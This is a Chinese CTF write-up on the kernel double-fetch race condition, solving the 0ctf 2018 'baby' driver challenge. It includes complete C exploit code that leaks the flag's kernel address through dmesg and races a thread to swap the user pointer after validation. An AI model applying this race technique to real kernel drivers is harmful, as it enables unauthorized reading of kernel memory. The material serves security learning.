内核学习(四) double_fetch。这次主要基于ctf_wiki 学习。DoubleFetch相关知识点可在微软安全研究 中找到。
 
double_fetch 阅读微软安全研究 的文章
double_fetch是指当内核根据用户输入先判断某个参数的信息,保存在本地之后,如果后面还需要访问这个内容(当内核函数两次从同一用户内存地址读取同一数据时,通常第一次读取用来验证数据或建立联系,第二次则用来使用该数据),可能会复制进来新的信息(利用多线程,条件竞争)这样可能会导致信息不匹配。严重的话可能导致堆栈溢出等情况 。
一个很简单的例子是如下代码,也是上述文章中的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void  win32k_entry_point (…)  {   […]              my_struct = (PMY_STRUCT)lParam;       if  (my_struct ->lpData) {            cbCapture = sizeof (MY_STRUCT) + my_struct->cbData;       […]                       […]             if  ( my_allocation = UserAllocPoolWithQuota(cbCapture, TAG_SMS_CAPTURE)) != NULL ) {                  RtlCopyMemory(my_allocation, my_struct->lpData, my_struct->cbData);                }       }    […] } 
 
如果第一次通过fetch拿到了一个长度,第二次如果是别的内核线程运行到这里,由于没有加锁,可能从相同的结构体中复制错误的数据长度。简单来说,其实就是多线程下共享变量未保护的问题(个人理解)
题目分析 这里使用经典的0ctf2018 finals baby。这里的double_fetch的效果是读取内核特定地址信息,没有完成提权等效果。
首先解压文件系统
1 2 3 4 5 6 7 8 9 #  解包文件系统 mkdir core mv core.cpio ./core/core.cpio cpio -idmv < core.cpio rm -rf core.cpio #  找到baby.ko文件,放到IDA中,打包文件系统 #  重打包文件系统 find . | cpio -o --format=newc > core.cpio mv ./core.cpio ../ 
 
放在IDA里面看一下。驱动主要用两个功能
当command=0x6666时,输出flag对应的地址 
当command=0x1337时,对我们的输入做如下比较之后,逐字节比较我们输入的flag和正确的flag。如果一样就给出flag(和没有一样) 
 
因此可以看出,比较的内容如下
这里注意到flag是硬编码的。远程的flag是修改过的,所以长度肯定也不同。因此我们还需要知道远程flag的长度。这个可以一个一个尝试来获取。
思路 之前的double_fetch框架提示我们:需要两次对用户输入判断才能利用这种工具。这里恰好有这种情形。可以看出,如果第一个线程的输入成功绕过位于用户空间的比对条件之后,在和flag逐字节比较之前,将我们的flag指针改为之前打印出来的内核地址 ,就可以在后面比较时泄露内核地址。
我们exp编写的步骤为
拿到flag内核地址,flag长度。 
通过多线程double_fetch实现buf指针的劫持,绕过检测 
通过dmesg查找到内核打印到内核缓冲区的flag 
 
 
dmesg命令用于显示开机信息,属于内核信息。用户态需要通过dmesg命令 来看到。
编写exp 获得flag长度 从反汇编代码看出,如果检查条件(所属空间、长度)不满足,返回值为0x16。我们只需要在用户态编写循环遍历即可得到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include <string.h>  #include <stdio.h>  #include <fcntl.h>  #include <malloc.h>  #include  <unistd.h>          #include  <sys/ioctl.h>      struct  user_input {     char  *flag_str;     long  length; }; void  main () {     struct  user_input  *input  =  (struct  user_input*)malloc (sizeof (struct  user_input));     int  cnt = 0 ;     int  fd = open("/dev/baby" ,0 );     for (cnt=0 ;cnt<50 ;cnt++)     {         printf ("trying %d: " ,cnt);         int  ret = 0 ;         input->flag_str = "aaaaa" ;         input->length = cnt;         ret = ioctl(fd,0x1337 ,input);         if (ret == 0x16 )         {             printf ("ok! the length of flag is %d\n" ,cnt);             return ;         }         else          {             printf ("return %d\n" ,ret);         }     }           } 
 
可以看到远程的flag长度为33。
double_fetch 这里需要创建两个线程(一个为原先的主线程)其中主线程不断发起ioctl(fd,0x1337,&input)另一个线程反复修改传递的input结构体中的flag_addr数值。由于每次需要通过dmesg查看输出的flag地址比较麻烦,ctf-wiki上面采用了读取文件,利用字符串匹配寻找到最终目标地址的方法。
需要注意的是子线程每次修改的,必须是和主线程一样的数据结构中的flag_buf。最好定义成全局的(虽然理论上来说,不同线程的栈也可以共享),此外,尽量让线程少输出,因为io会大大增加开销,可能导致竞争失败 ,原先这里就卡了好久,结果关掉输出就对了。
下面的exp主要参考ctf-wiki上面。自己敲了一遍代码,理解了一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 #include  <string.h>  char  *strstr (const  char  *haystack, const  char  *needle) ;#define  _GNU_SOURCE          #include  <string.h>  char  *strcasestr (const  char  *haystack, const  char  *needle) ;#include  <stdio.h>  #include  <stdlib.h>  #include  <unistd.h>  #include  <sys/types.h>  #include  <sys/stat.h>  #include  <sys/ioctl.h>  #include  <fcntl.h>  #include  <pthread.h>  #include <malloc.h>  #define  TRYTIME 0x1000  #define  LEN 0x50 struct  user_input {     char  *flag_str;     long  length; } input; int  finish = 0 ;int  fd;char  buf[0x50 ] = {0 };unsigned  long  long  flag_place;void  trying (void  *s) {     struct  user_input  *mal  =  s;     while (finish == 0 )     {                  mal->flag_str = flag_place;      } } int  main () {     fd = open("/dev/baby" ,0 );     ioctl(fd,0x6666 );     system("dmesg > /tmp/record.txt" );     int  tmp_fd = open("/tmp/record.txt" ,O_RDONLY);     char  temp[0x1000 ];     lseek(tmp_fd,-0x100 ,SEEK_END);     read(tmp_fd,temp,0x100 );     char  * idx = strstr (temp,"Your flag is at " );     if  (idx == 0 ){         printf ("[-]Not found addr" );         exit (-1 );     } 	close(tmp_fd);     idx+=16 ;     unsigned  long  addr = strtoull(idx,idx+16 ,16 );          puts ("------addr----------" );     printf ("[+]flag addr: %p\n" ,addr);     flag_place = addr;     input.flag_str = buf;     input.length = 33 ;          int  cnt1 = 0 ;     int  cnt2 = 0 ;          pthread_t  t1;     pthread_create(&t1,NULL ,trying,&input);          for (cnt1=0 ;cnt1<1000 ;cnt1++)     {         ioctl(fd,0x1337 ,&input);         input.flag_str = buf;     }     finish = 1 ;     pthread_join(t1,NULL );     close(fd);     puts ("[+] result is: " ); 	system("dmesg | grep THIS" );     return  0 ; } 
 
参考链接 https://blog.csdn.net/qq_43116977/article/details/105868792 
http://p4nda.top/2018/07/20/0ctf-baby/